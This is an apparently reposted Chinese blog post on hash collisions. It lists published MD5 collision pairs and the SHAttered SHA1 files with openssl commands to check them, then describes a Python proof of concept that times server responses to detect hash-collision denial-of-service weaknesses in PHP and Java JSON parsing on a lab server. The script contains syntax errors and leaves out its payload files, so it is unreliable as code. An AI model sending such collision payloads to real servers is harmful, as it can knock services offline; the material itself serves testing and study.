hash碰撞

Posted 20201206韩进

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了hash碰撞相关的知识,希望对你有一定的参考价值。

一、md5

1. 实例1

d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70

d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70

摘要都为79054025255fb1a26e4bc422aef54eb4

验证

echo "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"|xxd -r -ps | openssl md5

echo "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"|xxd -r -ps |openssl md5

2. 实例2

4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2

4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2

摘要都为008ee33a9d58b51cfeb425b0959121c9

验证

echo "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"|xxd -r -ps | openssl md5

echo "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"|xxd -r -ps | openssl md5

3. 实例3

0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef

0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef

摘要都为cee9a457e790cf20d4bdaa6d69f01e41

验证

echo "0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef"|xxd -r -ps | openssl md5

echo "0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef"|xxd -r -ps | openssl md5

二、sha1

1. 实例1

shattered-1.pdf
shattered-1.pdf
摘要都为38762cf7f55934b34d179ae6a4c80cadccbb7f0a

验证

openssl sha1 shattered-1.pdf

openssl sha1 shattered-2.pdf

2. 实例2

三、数据来源

https://www.jianshu.com/p/c9089fd5b1ba
https://sha-mbles.github.io/
https://shattered.it/
https://github.com/cr-marcstevens/sha1collisiondetection/find/master

hash碰撞POC

hash碰撞POC:

该类型漏洞POC编写过程难点有二:

一. hash碰撞数据的产生或收集

二. 使用responseTime来判断是否存在hash,如何精确的得到

三. 如何估算出服务器的处理/响应时间,以用来判断是否存在漏洞。

 

github能找到hash碰撞的POC,使用python编写的

该POC生成hashcollision的算法思想:

1. 取一个随机数n,由n生成 k维的笛卡尔积

可以理解为k维的数组,如array[AA][BB][CC],计算后为“AABBCC”

2. 将所有数组的值取出来,设定hash算法,计算每个值在该hash算法下的hash值

3. 随机取一个数的hash值,再取出其他与该hash值相同的数,组成hash碰撞的payload

将payload放入POST数据中,使用socket发包,由发包后和接受完整数据后的时间差得出响应时间。

 

该POC的弊端在于,如果只是做检测,没必要每次都生成payload,只需要生成一次payload,就可以多次测试了。

另一个难点,如何准确的判断responseTime。

这一点以burpsuite的时间为准

以自己搭建的内网测试环境,代码为

 

<?php
 $startTime = microtime(true);
$rest = file_get_contents("php://input");
$a=json_decode($rest,true);
?>

 

burpsuite中,不发送POST数据时间为10ms左右,发送正常的json数据时间为 100ms左右

而自己编写的代码,发送正常json数据数据时

1. 计算requests前后的时间差,会有很大的误差,发送数据的时间和接受的时间都会计入在内。而发送的payload较大,通常达到1M,所以时间上有误差。得出时间1300ms左右

2. requests的elapsed.total_seconds()计算得出的时间会比第一种方法少,为800ms左右

3. github上的POC,使用socket发送数据,截取recv前后的时间差, 时间在1200ms左右。

很难接近burpsuite得出的时间,我想主要是request将发送数据的时间计算在内了吧。

由此,可以估算发送数据的时间

time=(发送正常json的时间-不发送数据的时间)  ,再 *4/5 (*4/5是估算去除掉服务器处理正常json时的处理时间)

 

设置判断存在碰撞漏洞的时间线 limit为  

limit=发送正常json数据的时间-time(发送数据的时间)

在每一个payload发送的时间上减去  n/m*time()按发送数据的大小比例估算出的发送数据的时间)

 如果超过划定的时间线,则可能为hash碰撞漏洞

 

经测试,可判断出自己搭建的环境上的hash碰撞漏洞。

测试仍然受网络速度影响。

存在许多瑕疵,仍然可以改进。

比如增加数据量,让服务器处理碰撞数据的时间倍增,则发送数据的时间比重缩小,影响降低。

 

最后贴上测试代码,其中的payload明天再贴上

payload数据还可以改进增加。

#coding:utf-8
import time
import requests
import jsonToString
import pycurl

import thread

class Test:
        def __init__(self):
                self.contents = ‘‘
        def body_callback(self,buf):
                self.contents = self.contents + buf

def timeOfRequest(url,data):
    start=time.time()
    #print data
    try:
        q=requests.post(url,data)
        #print q.content
        return q.elapsed.total_seconds()
    except:
        pass
    end=time.time()
    return 1000000
    #return (end-start)

def test_gzip(input_url,data):
        t = Test()
        #gzip_test = file("gzip_test.txt", ‘w‘)
        c = pycurl.Curl()
        c.setopt(pycurl.WRITEFUNCTION,t.body_callback)
        c.setopt(pycurl.ENCODING, gzip)
        c.setopt(pycurl.URL,input_url)
        c.setopt(pycurl.POSTFIELDS,  data)
        c.perform()
        http_total_time = c.getinfo(pycurl.TOTAL_TIME)
        return http_total_time
        http_size = c.getinfo(pycurl.SIZE_DOWNLOAD)
        print conn_time pre_tran start_tran total_time
        print "%f %f %f %f"%(http_conn_time,http_pre_tran,http_start_tran,http_total_time)

#print timeOfRequest(url,"normal")
def control(url,string,data):
    #print string
    return test_gzip(url,data)
    #time=timeOfRequest(url,data)
    #print time
    #if time > 26:
    #    print "Probably have hashcollistion"

def show(times,limit):
    for name in times:
        if times[name]>limit:
            print "Probably have HashCollision==>",
        print name+":",
        print times[name]

def check(url):
    nulldata=open("null.txt","r").readline()
    normaldata=open("normal.txt","r").readline()
    phpjsondata=open("phpjson.txt","r").readline()
    javajsondata=open("javajson.txt","r").readline()
    phpdata=jsonToString.jsonToString(phpjsondata)
    javadata=jsonToString.jsonToString(javajsondata)

    times={}

    print "NO THREAD"
    times["null"]=control(url,"null",nulldata)
    time.sleep(1)
    times["normal"]=control(url,"normal",normaldata)  #利用normal,算出发送大量数据的时间,所占比例约为 (normal-null)*4/5
    time.sleep(1)


    trantime=(times["normal"]-times["null"])*4/5
    base=times["normal"]-trantime
    limit=base*13
    print limit


    times["phpjson"]=control(url,"phpjson",phpjsondata)-1.36*trantime
    times["php"]=control(url,"php",phpdata)-1.36*trantime
    times["javajson"]=control(url,"javajson",javajsondata)-2.3*trantime
    times["java"]=control(url,"java",javadata)-2.3*trantime

    show(times,limit)


if __name__ == __main__:
    url="http://10.252.223.15/test.php"
    check(url)
    # while 1:
    #     pass

 

以上是关于hash碰撞的主要内容,如果未能解决你的问题,请参考以下文章

Hash碰撞(选做)

面试官:Hash 碰撞是什么?如何解决?被问懵了……

解决Hash碰撞冲突方法总结

hash碰撞DOS漏洞

Hash算法及常见碰撞解决方法

Hash算法的「碰撞」